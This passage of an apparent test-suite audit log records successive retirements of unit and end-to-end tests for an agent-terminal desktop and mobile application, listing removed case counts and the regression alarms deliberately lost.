full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and 